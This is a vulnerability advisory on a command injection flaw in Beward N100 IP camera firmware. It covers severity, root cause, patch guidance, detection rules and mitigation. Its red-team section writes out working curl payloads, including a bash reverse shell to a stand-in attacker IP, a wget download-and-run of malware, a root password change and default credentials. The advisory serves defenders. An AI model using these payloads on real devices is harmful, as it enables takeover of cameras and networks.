CVE-2025-34042

Executive Summary

CVE-2025-34042 is a critical authenticated command injection vulnerability discovered in the Beward N100 IP Camera firmware version M2.1.6.04C014. The flaw resides in the servetest CGI page, specifically within the ServerName and TimeZone parameters. An attacker with valid web interface credentials can inject arbitrary system commands into these parameters, which are unsafely embedded into backend system calls without proper input sanitization. Successful exploitation results in remote code execution (RCE) with root privileges. The Shadowserver Foundation observed exploitation evidence on 2024-12-02 UTC. No official patch has been released, and the vendor has not acknowledged the vulnerability. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of PoC details and the critical impact make this a high-priority threat for affected devices.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs valid web interface credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full system compromise.
• Integrity Impact: High (I:H) – attacker can modify system files.
• Availability Impact: High (A:H) – attacker can disrupt device operation.

Threat Level: Critical. The vulnerability allows authenticated attackers to execute arbitrary commands as root, leading to full device takeover. Given the lack of a patch and observed exploitation, immediate mitigation is required.

Deep Dive & Mechanics

The vulnerability is an OS command injection (CWE-78) in the servetest CGI page of the Beward N100 IP Camera. The ServerName and TimeZone parameters are passed directly to a system shell command without sanitization or escaping. For example, the backend might execute a command like:

ntpdate -s $ServerName

or

timedatectl set-timezone $TimeZone

An attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary commands. Since the web interface runs with root privileges, the injected commands execute with full system access.

Root Cause: Lack of input validation and use of unsafe functions like system() or exec() with user-supplied data.

Attack Flow:

1. Attacker authenticates to the web interface (default credentials or brute-forced).
2. Attacker navigates to the servetest CGI page.
3. Attacker injects payload into ServerName or TimeZone parameter, e.g., ; id > /tmp/out.
4. The backend executes the command, and the attacker retrieves output via another endpoint or reverse shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handle_servetest(char *server_name, char *timezone) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "ntpdate -s %s", server_name);
    system(cmd);
    // or
    snprintf(cmd, sizeof(cmd), "timedatectl set-timezone %s", timezone);
    system(cmd);
}

Patched Code (Conceptual):

void handle_servetest(char *server_name, char *timezone) {
    // Validate and sanitize input
    if (!is_valid_hostname(server_name) || !is_valid_timezone(timezone)) {
        log_error("Invalid input");
        return;
    }
    // Use safe API with argument separation
    char *args[] = {"ntpdate", "-s", server_name, NULL};
    execvp("ntpdate", args);
    // or
    char *args2[] = {"timedatectl", "set-timezone", timezone, NULL};
    execvp("timedatectl", args2);
}

The patched version uses execvp() with separate arguments, preventing shell injection. Input validation functions (is_valid_hostname, is_valid_timezone) ensure only expected characters are accepted.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Beward N100 IP Camera with firmware M2.1.6.04C014.
• Attacker: Kali Linux with curl and netcat.

Exploitation Steps:

1. Authenticate to the web interface (default credentials: admin:admin).
2. Inject command via ServerName parameter:

curl -X POST "http://<camera_ip>/cgi-bin/servetest.cgi" \
  -d "ServerName=;id > /tmp/pwned;"

3. Verify execution by accessing the output file (if accessible via web) or using a reverse shell:

curl -X POST "http://<camera_ip>/cgi-bin/servetest.cgi" \
  -d "ServerName=;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1';"

4. Catch reverse shell on attacker machine:

nc -lvnp 4444

Alternative Payloads:

• ServerName=;wget http://<attacker_ip>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware;
• TimeZone=;echo "root:newpass" | chpasswd;

Blue Team

Detection Steps:

• Monitor web server logs for unusual servetest.cgi requests with special characters (;, |, &, `).
• Alert on outbound connections from the camera to unknown IPs on high ports (e.g., 4444).
• Check for unexpected processes or files in /tmp/.

Honeypot Setup:

• Deploy a fake Beward N100 with modified firmware that logs all servetest.cgi requests.
• Use fail2ban to block IPs sending multiple suspicious requests.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from camera to attacker IP on ports 4444, 8080, or 31337.
• HTTP POST requests to /cgi-bin/servetest.cgi with payloads containing ;, |, &&, or `.
• DNS queries to suspicious domains (e.g., malware-c2.example.com).

File IOCs:

• /tmp/pwned or similar files created by injected commands.
• Modified /etc/shadow or /etc/passwd files.
• Unexpected binaries in /tmp/ or /var/tmp/.

Process IOCs:

• Running processes like bash, nc, wget, or curl spawned by the web server.
• Reverse shell processes (e.g., bash -i).

YARA Rule:

rule CVE_2025_34042_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-34042 in Beward N100"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload1 = "ServerName=;" ascii wide
        $payload2 = "TimeZone=;" ascii wide
        $payload3 = "|" ascii wide
        $payload4 = "&&" ascii wide
        $payload5 = "`" ascii wide
    condition:
        any of ($payload*) and filesize < 10KB
}

Detection Engineering

Sigma Rule:

title: CVE-2025-34042 Beward N100 Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts via servetest.cgi
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/cgi-bin/servetest.cgi"
        cs-method: "POST"
        cs-uri-query|contains:
            - "ServerName=;"
            - "TimeZone=;"
            - "|"
            - "&&"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34042 Beward N100 Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/servetest.cgi"; http_uri; content:"ServerName=;"; http_client_body; sid:1000001; rev:1;)

Nuclei Template (if provided):

id: CVE-2025-34042
info:
  name: Beward N100 Command Injection
  severity: critical
  description: Authenticated command injection in servetest.cgi
  author: Valters IT
  tags: cve,cve2025,beward,rce

requests:
  - raw:
      - |
        POST /cgi-bin/servetest.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/x-www-form-urlencoded

        ServerName=;id;
    matchers:
      - type: word
        words:
          - "uid="

Remediation & Mitigation

Immediate Actions:

1. Disable remote web interface access to the camera if not required.
2. Change default credentials immediately.
3. Restrict network access to the camera using firewall rules (allow only trusted IPs).
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Vendor patch: Await official firmware update from Beward. Since no patch is available, consider replacing the device.
• Input validation: Implement strict input validation for all CGI parameters (allow only alphanumeric and specific characters).
• Use safe APIs: Replace system() with execvp() or similar functions that prevent shell injection.

Workaround:

• Deploy a WAF (Web Application Firewall) rule to block requests containing ;, |, &&, or ` in servetest.cgi parameters.

Valters IT